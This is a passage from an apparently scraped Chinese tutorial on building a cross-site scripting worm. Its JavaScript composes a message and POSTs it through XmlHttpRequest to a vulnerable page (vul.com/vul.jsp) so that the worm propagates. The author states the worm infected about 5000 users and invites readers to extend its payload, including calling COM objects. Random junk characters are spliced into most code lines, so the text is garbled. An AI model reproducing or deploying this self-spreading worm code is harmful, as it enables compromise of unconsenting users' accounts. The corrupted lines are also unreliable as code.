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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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/ G# y, z ]! o. h1 Y8 Tvar post="wd="+wd;
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4 X+ M- }4 ^9 a! i- NxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);, d5 x- N" R4 h
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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8 L- r3 r+ z' v1 O3 B% _+ txmlHttpReq.setRequestHeader("content-length",post.length);
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@* ?% M4 _: Q( Y& xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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8 |" l3 I+ U8 {xmlHttpReq.send(post); //把传播的信息 POST出去.
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8 P( T- p' n5 D7 O. Q}
! p* }" Q# V$ F$ `* Y复制代码-----------------------------------------------------总结------------------------------------------------------------------- l5 j1 D0 z2 e) W n1 a
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
( x! w# G- {" Z8 z5 Q- c! d蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.# L. H F+ m( t# B" \
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005). b) o# T$ l5 J8 Y6 }9 Z
Other XmlHttpRequest tricks (Amit Klein, January 2003)# z/ C6 G& T( `7 ~& `2 R" H
"Cross Site Tracing" (Jeremiah Grossman, January 2003)$ Q% `6 s c/ E3 h1 B" }- V4 r3 u
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog: g" W* |5 B& M$ K$ X: B
空虚浪子心BLOG http://www.inbreak.net
$ ^+ Y# q" j& v7 ]4 LXeye Team http://xeye.us/* K" p. @4 Y. i6 l
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